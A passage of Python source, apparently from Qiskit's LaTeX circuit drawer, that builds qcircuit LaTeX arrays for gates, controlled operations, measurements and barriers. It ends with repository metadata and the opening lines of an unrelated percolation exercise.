self.wire_type[self.ordered_regs[j]]\n else \"\\\\qw\" for _ in range(self.img_depth + 1)]\n for j in range(self.img_width)]\n self._latex.append([\" \"] * (self.img_depth + 1))\n if self.cregbundle:\n offset = 0\n for i in range(self.img_width):\n if self.wire_type[self.ordered_regs[i]]:\n if self.cregbundle:\n self._latex[i][0] = \\\n \"\\\\lstick{\" + self.ordered_regs[i + offset].register.name + \":\"\n clbitsize = self.cregs[self.ordered_regs[i + offset].register]\n self._latex[i][1] = \"{/_{_{\" + str(clbitsize) + \"}}} \\\\cw\"\n offset += clbitsize - 1\n else:\n self._latex[i][0] = \"\\\\lstick{\" + self.ordered_regs[i].register.name + \\\n \"_{\" + str(self.ordered_regs[i].index) + \"}:\"\n if self.initial_state:\n self._latex[i][0] += \"0\"\n self._latex[i][0] += \"}\"\n else:\n if self.layout is None:\n label = \"\\\\lstick{{ {{{}}}_{{{}}} : \".format(\n self.ordered_regs[i].register.name, self.ordered_regs[i].index)\n else:\n if self.layout[self.ordered_regs[i].index]:\n label = \"\\\\lstick{{ {{{}}}_{{{}}}\\\\mapsto{{{}}} : \".format(\n self.layout[self.ordered_regs[i].index].register.name,\n self.layout[self.ordered_regs[i].index].index,\n self.ordered_regs[i].index)\n else:\n label = \"\\\\lstick{{ {{{}}} : \".format(self.ordered_regs[i].index)\n if self.initial_state:\n label += \"\\\\ket{{0}}\"\n label += \" }\"\n self._latex[i][0] = label\n\n def _get_image_depth(self):\n \"\"\"Get depth information for the circuit.\n\n Returns:\n int: number of columns in the circuit\n int: total size of columns in the circuit\n \"\"\"\n\n max_column_widths = []\n # Determine row spacing before image depth\n for layer in self.ops:\n for op in layer:\n # useful information for determining row spacing\n boxed_gates = ['u0', 'u1', 'u2', 'u3', 'x', 'y', 'z', 'h', 's',\n 'sdg', 't', 'tdg', 'rx', 'ry', 'rz', 'ch', 'cy',\n 'crz', 'cu3', 'id']\n target_gates = ['cx', 'ccx']\n if op.name in boxed_gates:\n self.has_box = True\n if op.name in target_gates:\n self.has_target = True\n if isinstance(op.op, ControlledGate):\n self.has_target = True\n\n for layer in self.ops:\n\n # store the max width for the layer\n current_max = 0\n\n for op in layer:\n\n # update current op width\n arg_str_len = 0\n\n # the wide gates\n for arg in op.op.params:\n arg_str = re.sub(r'[-+]?\\d*\\.\\d{2,}|\\d{2,}',\n _truncate_float, str(arg))\n arg_str_len += len(arg_str)\n\n # the width of the column is the max of all the gates in the column\n current_max = max(arg_str_len, current_max)\n\n max_column_widths.append(current_max)\n\n # wires in the beginning and end\n columns = 2\n\n # add extra column if needed\n if self.cregbundle and (self.ops and self.ops[0] and\n (self.ops[0][0].name == \"measure\" or self.ops[0][0].condition)):\n columns += 1\n\n # all gates take up 1 column except from those with labels (ie cu1)\n # which take 2 columns\n for layer in self.ops:\n column_width = 1\n for nd in layer:\n if nd.name in ['cu1', 'rzz']:\n column_width = 2\n columns += column_width\n\n # every 3 characters is roughly one extra 'unit' of width in the cell\n # the gate name is 1 extra 'unit'\n # the qubit/cbit labels plus initial states is 2 more\n # the wires poking out at the ends is 2 more\n sum_column_widths = sum(1 + v / 3 for v in max_column_widths)\n\n max_reg_name = 3\n for reg in self.ordered_regs:\n max_reg_name = max(max_reg_name,\n len(reg.register.name))\n sum_column_widths += 5 + max_reg_name / 3\n\n # could be a fraction so ceil\n return columns, math.ceil(sum_column_widths)\n\n def _get_beamer_page(self):\n \"\"\"Get height, width & scale attributes for the beamer page.\n\n Returns:\n tuple: (height, width, scale) desirable page attributes\n \"\"\"\n # PIL python package limits image size to around a quarter gigabyte\n # this means the beamer image should be limited to < 50000\n # if you want to avoid a \"warning\" too, set it to < 25000\n PIL_limit = 40000\n\n # the beamer latex template limits each dimension to < 19 feet\n # (i.e. 575cm)\n beamer_limit = 550\n\n # columns are roughly twice as big as rows\n aspect_ratio = self.sum_row_heights / self.sum_column_widths\n\n # choose a page margin so circuit is not cropped\n margin_factor = 1.5\n height = min(self.sum_row_heights * margin_factor, beamer_limit)\n width = min(self.sum_column_widths * margin_factor, beamer_limit)\n\n # if too large, make it fit\n if height * width > PIL_limit:\n height = min(np.sqrt(PIL_limit * aspect_ratio), beamer_limit)\n width = min(np.sqrt(PIL_limit / aspect_ratio), beamer_limit)\n\n # if too small, give it a minimum size\n height = max(height, 10)\n width = max(width, 10)\n\n return (height, width, self.scale)\n\n def _get_mask(self, creg_name):\n mask = 0\n for index, cbit in enumerate(self.clbit_list):\n if creg_name == cbit.register:\n mask |= (1 << index)\n return mask\n\n def parse_params(self, param):\n \"\"\"Parse parameters.\"\"\"\n if isinstance(param, (ParameterExpression, str)):\n return generate_latex_label(str(param))\n return pi_check(param, output='latex')\n\n def _build_latex_array(self):\n \"\"\"Returns an array of strings containing \\\\LaTeX for this circuit.\n \"\"\"\n\n qregdata = self.qregs\n # Rename qregs if necessary\n\n column = 1\n # Leave a column to display number of classical registers if needed\n if self.cregbundle and (self.ops and self.ops[0] and\n (self.ops[0][0].name == \"measure\" or self.ops[0][0].condition)):\n column += 1\n for layer in self.ops:\n num_cols_used = 1\n\n for op in layer:\n if op.condition:\n mask = self._get_mask(op.condition[0])\n cl_reg = self.clbit_list[self._ffs(mask)]\n if_reg = cl_reg.register\n pos_2 = self.img_regs[cl_reg]\n if_value = format(op.condition[1],\n 'b').zfill(self.cregs[if_reg])[::-1]\n if isinstance(op.op, ControlledGate) and op.name not in [\n 'ccx', 'cx', 'cz', 'cu1', 'cu3', 'crz',\n 'cswap']:\n qarglist = op.qargs\n name = generate_latex_label(\n op.op.base_gate.name.upper()).replace(\" \", \"\\\\,\")\n pos_array = []\n num_ctrl_qubits = op.op.num_ctrl_qubits\n num_qargs = len(qarglist) - num_ctrl_qubits\n for ctrl in range(len(qarglist)):\n pos_array.append(self.img_regs[qarglist[ctrl]])\n pos_qargs = pos_array[num_ctrl_qubits:]\n ctrl_pos = pos_array[:num_ctrl_qubits]\n ctrl_state = \"{:b}\".format(op.op.ctrl_state).rjust(num_ctrl_qubits, '0')[::-1]\n if op.condition:\n mask = self._get_mask(op.condition[0])\n cl_reg = self.clbit_list[self._ffs(mask)]\n if_reg = cl_reg.register\n pos_cond = self.img_regs[if_reg[0]]\n temp = pos_array + [pos_cond]\n temp.sort(key=int)\n bottom = temp[len(pos_array) - 1]\n gap = pos_cond - bottom\n creg_rng = 1 if self.cregbundle else self.cregs[if_reg]\n for i in range(creg_rng):\n if (if_value[i] == '1' or (self.cregbundle and int(if_value) > 0)):\n self._latex[pos_cond + i][column] = \\\n \"\\\\control \\\\cw \\\\cwx[-\" + str(gap) + \"]\"\n gap = 1\n else:\n self._latex[pos_cond + i][column] = \\\n \"\\\\controlo \\\\cw \\\\cwx[-\" + str(gap) + \"]\"\n gap = 1\n if num_qargs == 1:\n for index, ctrl_item in enumerate(zip(ctrl_pos, ctrl_state)):\n pos = ctrl_item[0]\n cond = ctrl_item[1]\n nxt = pos_array[index]\n if pos_array[index] > pos_array[-1]:\n nxt -= 1\n while nxt not in pos_array:\n nxt -= 1\n else:\n nxt += 1\n while nxt not in pos_array:\n nxt += 1\n if cond == '0':\n self._latex[pos][column] = \"\\\\ctrlo{\" + str(\n nxt - pos_array[index]) + \"}\"\n elif cond == '1':\n self._latex[pos][column] = \"\\\\ctrl{\" + str(\n nxt - pos_array[index]) + \"}\"\n if name == 'Z':\n self._latex[pos_array[-1]][column] = \"\\\\control\\\\qw\"\n else:\n self._latex[pos_array[-1]][column] = \"\\\\gate{%s}\" % name\n else:\n pos_start = min(pos_qargs)\n pos_stop = max(pos_qargs)\n # If any controls appear in the span of the multiqubit\n # gate just treat the whole thing as a big gate instead\n # of trying to render the controls separately\n if any(ctrl_pos) in range(pos_start, pos_stop):\n pos_start = min(pos_array)\n pos_stop = max(pos_array)\n num_qargs = len(qarglist)\n name = generate_latex_label(\n op.name).replace(\" \", \"\\\\,\")\n else:\n for index, ctrl_item in enumerate(zip(ctrl_pos, ctrl_state)):\n pos = ctrl_item[0]\n cond = ctrl_item[1]\n if index + 1 >= num_ctrl_qubits:\n if pos_array[index] > pos_stop:\n upper = pos_stop\n else:\n upper = pos_start\n else:\n upper = pos_array[index + 1]\n\n if cond == '0':\n self._latex[pos][column] = \"\\\\ctrlo{\" + str(\n upper - pos_array[index]) + \"}\"\n elif cond == '1':\n self._latex[pos][column] = \"\\\\ctrl{\" + str(\n upper - pos_array[index]) + \"}\"\n\n self._latex[pos_start][column] = (\"\\\\multigate{%s}{%s}\" %\n (num_qargs - 1, name))\n for pos in range(pos_start + 1, pos_stop + 1):\n self._latex[pos][column] = (\"\\\\ghost{%s}\" % name)\n\n elif op.name not in ['measure', 'barrier', 'snapshot', 'load',\n 'save', 'noise']:\n nm = generate_latex_label(op.name).replace(\" \", \"\\\\,\")\n qarglist = op.qargs\n\n if len(qarglist) == 1:\n pos_1 = self.img_regs[qarglist[0]]\n\n if op.condition:\n mask = self._get_mask(op.condition[0])\n cl_reg = self.clbit_list[self._ffs(mask)]\n if_reg = cl_reg.register\n pos_2 = self.img_regs[cl_reg]\n\n if nm == \"x\":\n self._latex[pos_1][column] = \"\\\\gate{X}\"\n elif nm == \"y\":\n self._latex[pos_1][column] = \"\\\\gate{Y}\"\n elif nm == \"z\":\n self._latex[pos_1][column] = \"\\\\gate{Z}\"\n elif nm == \"h\":\n self._latex[pos_1][column] = \"\\\\gate{H}\"\n elif nm == \"s\":\n self._latex[pos_1][column] = \"\\\\gate{S}\"\n elif nm == \"sdg\":\n self._latex[pos_1][column] = \"\\\\gate{S^\\\\dag}\"\n elif nm == \"t\":\n self._latex[pos_1][column] = \"\\\\gate{T}\"\n elif nm == \"tdg\":\n self._latex[pos_1][column] = \"\\\\gate{T^\\\\dag}\"\n elif nm == \"u0\":\n self._latex[pos_1][column] = \"\\\\gate{U_0(%s)}\" % (\n self.parse_params(op.op.params[0]))\n elif nm == \"u1\":\n self._latex[pos_1][column] = \"\\\\gate{U_1(%s)}\" % (\n self.parse_params(op.op.params[0]))\n elif nm == \"u2\":\n self._latex[pos_1][column] = \\\n \"\\\\gate{U_2\\\\left(%s,%s\\\\right)}\" % (\n self.parse_params(op.op.params[0]),\n self.parse_params(op.op.params[1]))\n elif nm == \"u3\":\n self._latex[pos_1][column] = (\"\\\\gate{U_3(%s,%s,%s)}\" % (\n self.parse_params(op.op.params[0]),\n self.parse_params(op.op.params[1]),\n self.parse_params(op.op.params[2])))\n elif nm == \"rx\":\n self._latex[pos_1][column] = \"\\\\gate{R_x(%s)}\" % (\n self.parse_params(op.op.params[0]))\n elif nm == \"ry\":\n self._latex[pos_1][column] = \"\\\\gate{R_y(%s)}\" % (\n self.parse_params(op.op.params[0]))\n elif nm == \"rz\":\n self._latex[pos_1][column] = \"\\\\gate{R_z(%s)}\" % (\n self.parse_params(op.op.params[0]))\n else:\n self._latex[pos_1][column] = (\"\\\\gate{%s}\" % nm)\n\n gap = pos_2 - pos_1\n creg_rng = 1 if self.cregbundle else self.cregs[if_reg]\n for i in range(creg_rng):\n if (if_value[i] == '1' or (self.cregbundle and int(if_value) > 0)):\n self._latex[pos_2 + i][column] = \\\n \"\\\\control \\\\cw \\\\cwx[-\" + str(gap) + \"]\"\n gap = 1\n else:\n self._latex[pos_2 + i][column] = \\\n \"\\\\controlo \\\\cw \\\\cwx[-\" + str(gap) + \"]\"\n gap = 1\n\n else:\n if nm == \"x\":\n self._latex[pos_1][column] = \"\\\\gate{X}\"\n elif nm == \"y\":\n self._latex[pos_1][column] = \"\\\\gate{Y}\"\n elif nm == \"z\":\n self._latex[pos_1][column] = \"\\\\gate{Z}\"\n elif nm == \"h\":\n self._latex[pos_1][column] = \"\\\\gate{H}\"\n elif nm == \"s\":\n self._latex[pos_1][column] = \"\\\\gate{S}\"\n elif nm == \"sdg\":\n self._latex[pos_1][column] = \"\\\\gate{S^\\\\dag}\"\n elif nm == \"t\":\n self._latex[pos_1][column] = \"\\\\gate{T}\"\n elif nm == \"tdg\":\n self._latex[pos_1][column] = \"\\\\gate{T^\\\\dag}\"\n elif nm == \"u0\":\n self._latex[pos_1][column] = \"\\\\gate{U_0(%s)}\" % (\n self.parse_params(op.op.params[0]))\n elif nm == \"u1\":\n self._latex[pos_1][column] = \"\\\\gate{U_1(%s)}\" % (\n self.parse_params(op.op.params[0]))\n elif nm == \"u2\":\n self._latex[pos_1][column] = \\\n \"\\\\gate{U_2\\\\left(%s,%s\\\\right)}\" % (\n self.parse_params(op.op.params[0]),\n self.parse_params(op.op.params[1]))\n elif nm == \"u3\":\n self._latex[pos_1][column] = (\"\\\\gate{U_3(%s,%s,%s)}\" % (\n self.parse_params(op.op.params[0]),\n self.parse_params(op.op.params[1]),\n self.parse_params(op.op.params[2])))\n elif nm == \"rx\":\n self._latex[pos_1][column] = \"\\\\gate{R_x(%s)}\" % (\n self.parse_params(op.op.params[0]))\n elif nm == \"ry\":\n self._latex[pos_1][column] = \"\\\\gate{R_y(%s)}\" % (\n self.parse_params(op.op.params[0]))\n elif nm == \"rz\":\n self._latex[pos_1][column] = \"\\\\gate{R_z(%s)}\" % (\n self.parse_params(op.op.params[0]))\n elif nm == \"reset\":\n self._latex[pos_1][column] = (\n \"\\\\push{\\\\rule{.6em}{0em}\\\\ket{0}\\\\\"\n \"rule{.2em}{0em}} \\\\qw\")\n else:\n self._latex[pos_1][column] = (\"\\\\gate{%s}\" % nm)\n\n elif len(qarglist) == 2:\n if isinstance(op.op, ControlledGate):\n cond = str(op.op.ctrl_state)\n pos_1 = self.img_regs[qarglist[0]]\n pos_2 = self.img_regs[qarglist[1]]\n\n if op.condition:\n pos_3 = self.img_regs[if_reg[0]]\n temp = [pos_1, pos_2, pos_3]\n temp.sort(key=int)\n bottom = temp[1]\n\n gap = pos_3 - bottom\n creg_rng = 1 if self.cregbundle else self.cregs[if_reg]\n for i in range(creg_rng):\n if (if_value[i] == '1' or (self.cregbundle and int(if_value) > 0)):\n self._latex[pos_3 + i][column] = \\\n \"\\\\control \\\\cw \\\\cwx[-\" + str(gap) + \"]\"\n gap = 1\n else:\n self._latex[pos_3 + i][column] = \\\n \"\\\\controlo \\\\cw \\\\cwx[-\" + str(gap) + \"]\"\n gap = 1\n\n if nm == \"cx\":\n if cond == '0':\n self._latex[pos_1][column] = \\\n \"\\\\ctrlo{\" + str(pos_2 - pos_1) + \"}\"\n elif cond == '1':\n self._latex[pos_1][column] = \\\n \"\\\\ctrl{\" + str(pos_2 - pos_1) + \"}\"\n self._latex[pos_2][column] = \"\\\\targ\"\n elif nm == \"cz\":\n if cond == '0':\n self._latex[pos_1][column] = \\\n \"\\\\ctrlo{\" + str(pos_2 - pos_1) + \"}\"\n elif cond == '1':\n self._latex[pos_1][column] = \\\n \"\\\\ctrl{\" + str(pos_2 - pos_1) + \"}\"\n self._latex[pos_2][column] = \"\\\\control\\\\qw\"\n elif nm == \"cy\":\n if cond == '0':\n self._latex[pos_1][column] = \\\n \"\\\\ctrlo{\" + str(pos_2 - pos_1) + \"}\"\n elif cond == '1':\n self._latex[pos_1][column] = \\\n \"\\\\ctrl{\" + str(pos_2 - pos_1) + \"}\"\n self._latex[pos_2][column] = \"\\\\gate{Y}\"\n elif nm == \"ch\":\n if cond == '0':\n self._latex[pos_1][column] = \\\n \"\\\\ctrlo{\" + str(pos_2 - pos_1) + \"}\"\n elif cond == '1':\n self._latex[pos_1][column] = \\\n \"\\\\ctrl{\" + str(pos_2 - pos_1) + \"}\"\n self._latex[pos_2][column] = \"\\\\gate{H}\"\n elif nm == \"swap\":\n self._latex[pos_1][column] = \"\\\\qswap\"\n self._latex[pos_2][column] = \\\n \"\\\\qswap \\\\qwx[\" + str(pos_1 - pos_2) + \"]\"\n elif nm == \"crz\":\n if cond == '0':\n self._latex[pos_1][column] = \\\n \"\\\\ctrlo{\" + str(pos_2 - pos_1) + \"}\"\n elif cond == '1':\n self._latex[pos_1][column] = \\\n \"\\\\ctrl{\" + str(pos_2 - pos_1) + \"}\"\n self._latex[pos_2][column] = \\\n \"\\\\gate{R_z(%s)}\" % (self.parse_params(op.op.params[0]))\n elif nm == \"cu1\":\n if cond == '0':\n self._latex[pos_1][column] = \\\n \"\\\\ctrlo{\" + str(pos_2 - pos_1) + \"}\"\n elif cond == '1':\n self._latex[pos_1][column] = \\\n \"\\\\ctrl{\" + str(pos_2 - pos_1) + \"}\"\n self._latex[pos_2][column] = \"\\\\control \\\\qw\"\n self._latex[min(pos_1, pos_2)][column + 1] = \\\n \"\\\\dstick{%s}\\\\qw\" % (self.parse_params(op.op.params[0]))\n self._latex[max(pos_1, pos_2)][column + 1] = \"\\\\qw\"\n # this is because this gate takes up 2 columns,\n # and we have just written to the next column\n num_cols_used = 2\n elif nm == \"cu3\":\n if cond == '0':\n self._latex[pos_1][column] = \\\n \"\\\\ctrlo{\" + str(pos_2 - pos_1) + \"}\"\n elif cond == '1':\n self._latex[pos_1][column] = \\\n \"\\\\ctrl{\" + str(pos_2 - pos_1) + \"}\"\n self._latex[pos_2][column] = \\\n \"\\\\gate{U_3(%s,%s,%s)}\" % \\\n (self.parse_params(op.op.params[0]),\n self.parse_params(op.op.params[1]),\n self.parse_params(op.op.params[2]))\n elif nm == \"rzz\":\n self._latex[pos_1][column] = \"\\\\ctrl{\" + str(\n pos_2 - pos_1) + \"}\"\n self._latex[pos_2][column] = \"\\\\control \\\\qw\"\n # Based on the \\cds command of the qcircuit package\n self._latex[min(pos_1, pos_2)][column + 1] = \\\n \"*+<0em,0em>{\\\\hphantom{zz()}} \\\\POS [0,0].[%d,0]=\" \\\n \"\\\"e\\\",!C *{zz(%s)};\\\"e\\\"+ R \\\\qw\" % \\\n (max(pos_1, pos_2), self.parse_params(op.op.params[0]))\n self._latex[max(pos_1, pos_2)][column + 1] = \"\\\\qw\"\n num_cols_used = 2\n else:\n temp = [pos_1, pos_2]\n temp.sort(key=int)\n\n if nm == \"cx\":\n if cond == '0':\n self._latex[pos_1][column] = \\\n \"\\\\ctrlo{\" + str(pos_2 - pos_1) + \"}\"\n elif cond == '1':\n self._latex[pos_1][column] = \\\n \"\\\\ctrl{\" + str(pos_2 - pos_1) + \"}\"\n self._latex[pos_2][column] = \"\\\\targ\"\n elif nm == \"cz\":\n if cond == '0':\n self._latex[pos_1][column] = \\\n \"\\\\ctrlo{\" + str(pos_2 - pos_1) + \"}\"\n elif cond == '1':\n self._latex[pos_1][column] = \\\n \"\\\\ctrl{\" + str(pos_2 - pos_1) + \"}\"\n self._latex[pos_2][column] = \"\\\\control\\\\qw\"\n elif nm == \"cy\":\n if cond == '0':\n self._latex[pos_1][column] = \\\n \"\\\\ctrlo{\" + str(pos_2 - pos_1) + \"}\"\n elif cond == '1':\n self._latex[pos_1][column] = \\\n \"\\\\ctrl{\" + str(pos_2 - pos_1) + \"}\"\n self._latex[pos_2][column] = \"\\\\gate{Y}\"\n elif nm == \"ch\":\n if cond == '0':\n self._latex[pos_1][column] = \\\n \"\\\\ctrlo{\" + str(pos_2 - pos_1) + \"}\"\n elif cond == '1':\n self._latex[pos_1][column] = \\\n \"\\\\ctrl{\" + str(pos_2 - pos_1) + \"}\"\n self._latex[pos_2][column] = \"\\\\gate{H}\"\n elif nm == \"swap\":\n self._latex[pos_1][column] = \"\\\\qswap\"\n self._latex[pos_2][column] = \\\n \"\\\\qswap \\\\qwx[\" + str(pos_1 - pos_2) + \"]\"\n elif nm == \"crz\":\n if cond == '0':\n self._latex[pos_1][column] = \\\n \"\\\\ctrlo{\" + str(pos_2 - pos_1) + \"}\"\n elif cond == '1':\n self._latex[pos_1][column] = \\\n \"\\\\ctrl{\" + str(pos_2 - pos_1) + \"}\"\n self._latex[pos_2][column] = \\\n \"\\\\gate{R_z(%s)}\" % (self.parse_params(op.op.params[0]))\n elif nm == \"cu1\":\n if cond == '0':\n self._latex[pos_1][column] = \\\n \"\\\\ctrlo{\" + str(pos_2 - pos_1) + \"}\"\n elif cond == '1':\n self._latex[pos_1][column] = \\\n \"\\\\ctrl{\" + str(pos_2 - pos_1) + \"}\"\n self._latex[pos_2][column] = \"\\\\control \\\\qw\"\n self._latex[min(pos_1, pos_2)][column + 1] = \\\n \"\\\\dstick{%s}\\\\qw\" % (self.parse_params(op.op.params[0]))\n self._latex[max(pos_1, pos_2)][column + 1] = \"\\\\qw\"\n num_cols_used = 2\n elif nm == \"cu3\":\n if cond == '0':\n self._latex[pos_1][column] = \\\n \"\\\\ctrlo{\" + str(pos_2 - pos_1) + \"}\"\n elif cond == '1':\n self._latex[pos_1][column] = \\\n \"\\\\ctrl{\" + str(pos_2 - pos_1) + \"}\"\n self._latex[pos_2][column] = \\\n (\"\\\\gate{U_3(%s,%s,%s)}\" %\n (self.parse_params(op.op.params[0]),\n self.parse_params(op.op.params[1]),\n self.parse_params(op.op.params[2])))\n elif nm == \"rzz\":\n self._latex[pos_1][column] = \"\\\\ctrl{\" + str(\n pos_2 - pos_1) + \"}\"\n self._latex[pos_2][column] = \"\\\\control \\\\qw\"\n # Based on the \\cds command of the qcircuit package\n self._latex[min(pos_1, pos_2)][column + 1] = \\\n \"*+<0em,0em>{\\\\hphantom{zz()}} \\\\POS [0,0].[%d,0]=\" \\\n \"\\\"e\\\",!C *{zz(%s)};\\\"e\\\"+ R \\\\qw\" % \\\n (max(pos_1, pos_2), self.parse_params(op.op.params[0]))\n self._latex[max(pos_1, pos_2)][column + 1] = \"\\\\qw\"\n num_cols_used = 2\n else:\n start_pos = min([pos_1, pos_2])\n stop_pos = max([pos_1, pos_2])\n if stop_pos - start_pos >= 2:\n delta = stop_pos - start_pos\n self._latex[start_pos][column] = (\"\\\\multigate{%s}{%s}\"\n % (delta, nm))\n for i_pos in range(start_pos + 1, stop_pos + 1):\n self._latex[i_pos][column] = (\"\\\\ghost{%s}\"\n % nm)\n else:\n self._latex[start_pos][column] = (\"\\\\multigate{1}{%s}\"\n % nm)\n self._latex[stop_pos][column] = (\"\\\\ghost{%s}\" %\n nm)\n\n elif len(qarglist) == 3:\n if isinstance(op.op, ControlledGate):\n ctrl_state = \"{:b}\".format(op.op.ctrl_state).rjust(2, '0')[::-1]\n cond_1 = ctrl_state[0]\n cond_2 = ctrl_state[1]\n pos_1 = self.img_regs[qarglist[0]]\n pos_2 = self.img_regs[qarglist[1]]\n pos_3 = self.img_regs[qarglist[2]]\n\n if op.condition:\n pos_4 = self.img_regs[if_reg[0]]\n temp = [pos_1, pos_2, pos_3, pos_4]\n temp.sort(key=int)\n bottom = temp[2]\n\n gap = pos_4 - bottom\n creg_rng = 1 if self.cregbundle else self.cregs[if_reg]\n for i in range(creg_rng):\n if (if_value[i] == '1' or (self.cregbundle and int(if_value) > 0)):\n self._latex[pos_4 + i][column] = \\\n \"\\\\control \\\\cw \\\\cwx[-\" + str(gap) + \"]\"\n gap = 1\n else:\n self._latex[pos_4 + i][column] = \\\n \"\\\\controlo \\\\cw \\\\cwx[-\" + str(gap) + \"]\"\n gap = 1\n\n if nm == \"ccx\":\n if cond_1 == '0':\n self._latex[pos_1][column] = \"\\\\ctrlo{\" + str(\n pos_2 - pos_1) + \"}\"\n elif cond_1 == '1':\n self._latex[pos_1][column] = \"\\\\ctrl{\" + str(\n pos_2 - pos_1) + \"}\"\n if cond_2 == '0':\n self._latex[pos_2][column] = \"\\\\ctrlo{\" + str(\n pos_3 - pos_2) + \"}\"\n elif cond_2 == '1':\n self._latex[pos_2][column] = \"\\\\ctrl{\" + str(\n pos_3 - pos_2) + \"}\"\n self._latex[pos_3][column] = \"\\\\targ\"\n\n if nm == \"cswap\":\n if cond_1 == '0':\n self._latex[pos_1][column] = \"\\\\ctrlo{\" + str(\n pos_2 - pos_1) + \"}\"\n elif cond_1 == '1':\n self._latex[pos_1][column] = \"\\\\ctrl{\" + str(\n pos_2 - pos_1) + \"}\"\n self._latex[pos_2][column] = \"\\\\qswap\"\n self._latex[pos_3][column] = \\\n \"\\\\qswap \\\\qwx[\" + str(pos_2 - pos_3) + \"]\"\n else:\n if nm == \"ccx\":\n if cond_1 == '0':\n self._latex[pos_1][column] = \"\\\\ctrlo{\" + str(\n pos_2 - pos_1) + \"}\"\n elif cond_1 == '1':\n self._latex[pos_1][column] = \"\\\\ctrl{\" + str(\n pos_2 - pos_1) + \"}\"\n if cond_2 == '0':\n self._latex[pos_2][column] = \"\\\\ctrlo{\" + str(\n pos_3 - pos_2) + \"}\"\n elif cond_2 == '1':\n self._latex[pos_2][column] = \"\\\\ctrl{\" + str(\n pos_3 - pos_2) + \"}\"\n self._latex[pos_3][column] = \"\\\\targ\"\n\n elif nm == \"cswap\":\n if cond_1 == '0':\n self._latex[pos_1][column] = \"\\\\ctrlo{\" + str(\n pos_2 - pos_1) + \"}\"\n elif cond_1 == '1':\n self._latex[pos_1][column] = \"\\\\ctrl{\" + str(\n pos_2 - pos_1) + \"}\"\n self._latex[pos_2][column] = \"\\\\qswap\"\n self._latex[pos_3][column] = \\\n \"\\\\qswap \\\\qwx[\" + str(pos_2 - pos_3) + \"]\"\n else:\n start_pos = min([pos_1, pos_2, pos_3])\n stop_pos = max([pos_1, pos_2, pos_3])\n if stop_pos - start_pos >= 3:\n delta = stop_pos - start_pos\n self._latex[start_pos][column] = (\"\\\\multigate{%s}{%s}\" %\n (delta, nm))\n for i_pos in range(start_pos + 1, stop_pos + 1):\n self._latex[i_pos][column] = (\"\\\\ghost{%s}\" %\n nm)\n else:\n self._latex[pos_1][column] = (\"\\\\multigate{2}{%s}\" %\n nm)\n self._latex[pos_2][column] = (\"\\\\ghost{%s}\" %\n nm)\n self._latex[pos_3][column] = (\"\\\\ghost{%s}\" %\n nm)\n\n elif len(qarglist) > 3:\n nbits = len(qarglist)\n pos_array = [self.img_regs[qarglist[0]]]\n for i in range(1, nbits):\n pos_array.append(self.img_regs[qarglist[i]])\n pos_start = min(pos_array)\n pos_stop = max(pos_array)\n self._latex[pos_start][column] = (\"\\\\multigate{%s}{%s}\" %\n (nbits - 1, nm))\n for pos in range(pos_start + 1, pos_stop + 1):\n self._latex[pos][column] = (\"\\\\ghost{%s}\" % nm)\n\n elif op.name == \"measure\":\n if (len(op.cargs) != 1\n or len(op.qargs) != 1\n or op.op.params):\n raise exceptions.VisualizationError(\"bad operation record\")\n\n if op.condition:\n raise exceptions.VisualizationError(\n \"If controlled measures currently not supported.\")\n\n pos_1 = self.img_regs[op.qargs[0]]\n if self.cregbundle:\n pos_2 = self.img_regs[self.clbit_list[0]]\n cregindex = self.img_regs[op.cargs[0]] - pos_2\n for creg_size in self.cregs.values():\n if cregindex >= creg_size:\n cregindex -= creg_size\n pos_2 += 1\n else:\n break\n else:\n pos_2 = self.img_regs[op.cargs[0]]\n\n try:\n self._latex[pos_1][column] = \"\\\\meter\"\n if self.cregbundle:\n self._latex[pos_2][column] = \\\n \"\\\\dstick{\" + str(cregindex) + \"} \" + \\\n \"\\\\cw \\\\cwx[-\" + str(pos_2 - pos_1) + \"]\"\n else:\n self._latex[pos_2][column] = \\\n \"\\\\cw \\\\cwx[-\" + str(pos_2 - pos_1) + \"]\"\n except Exception as e:\n raise exceptions.VisualizationError(\n 'Error during Latex building: %s' % str(e))\n\n elif op.name in ['barrier', 'snapshot', 'load', 'save',\n 'noise']:\n if self.plot_barriers:\n qarglist = op.qargs\n indexes = [self._get_qubit_index(x) for x in qarglist]\n indexes.sort()\n\n first = last = indexes[0]\n for index in indexes[1:]:\n if index - 1 == last:\n last = index\n else:\n pos = self.img_regs[self.qubit_list[first]]\n self._latex[pos][column - 1] += \" \\\\barrier[0em]{\" + str(\n last - first) + \"}\"\n self._latex[pos][column] = \"\\\\qw\"\n first = last = index\n pos = self.img_regs[self.qubit_list[first]]\n self._latex[pos][column - 1] += \" \\\\barrier[0em]{\" + str(\n last - first) + \"}\"\n self._latex[pos][column] = \"\\\\qw\"\n else:\n raise exceptions.VisualizationError(\"bad node data\")\n\n # increase the number of columns by the number of columns this layer used\n column += num_cols_used\n\n def _get_qubit_index(self, qubit):\n \"\"\"Get the index number for a quantum bit.\n\n Args:\n qubit (tuple): The tuple of the bit of the form\n (register_name, bit_number)\n Returns:\n int: The index in the bit list\n Raises:\n VisualizationError: If the bit isn't found\n \"\"\"\n for i, bit in enumerate(self.qubit_list):\n if qubit == bit:\n qindex = i\n break\n else:\n raise exceptions.VisualizationError(\"unable to find bit for operation\")\n return qindex\n\n def _ffs(self, mask):\n \"\"\"Find index of first set bit.\n\n Args:\n mask (int): integer to search\n Returns:\n int: index of the first set bit.\n \"\"\"\n origin = (mask & (-mask)).bit_length()\n return origin - 1\n\n\ndef _get_register_specs(bits):\n \"\"\"Get the number and size of unique registers from bits list.\n\n Args:\n bits (list[Bit]): this list is of the form::\n [Qubit(v0, 0), Qubit(v0, 1), Qubit(v0, 2), Qubit(v0, 3), Qubit(v1, 0)]\n which indicates a size-4 register and a size-1 register\n\n Returns:\n OrderedDict: ordered map of Registers to their sizes\n \"\"\"\n regs = collections.OrderedDict([(bit.register, bit.register.size) for bit in bits])\n return regs\n\n\ndef _truncate_float(matchobj, ndigits=3):\n \"\"\"Truncate long floats\n\n Args:\n matchobj (re.Match): contains original float\n ndigits (int): Number of digits to print\n Returns:\n str: returns truncated float\n \"\"\"\n if matchobj.group(0):\n return '%.{}g'.format(ndigits) % float(matchobj.group(0))\n return ''\n","repo_name":"OscarJHernandez/qc_portfolio_optimization","sub_path":"venv/lib/python3.8/site-packages/qiskit/visualization/latex.py","file_name":"latex.py","file_ext":"py","file_size_in_byte":51745,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"61"} +{"seq_id":"25216144921","text":"\"\"\"Exercício 9.14 - Percolação\"\"\"\n\nimport random\n\n\ndef random_bin_mat(n, p):\n res = []\n for i in range(n):\n res 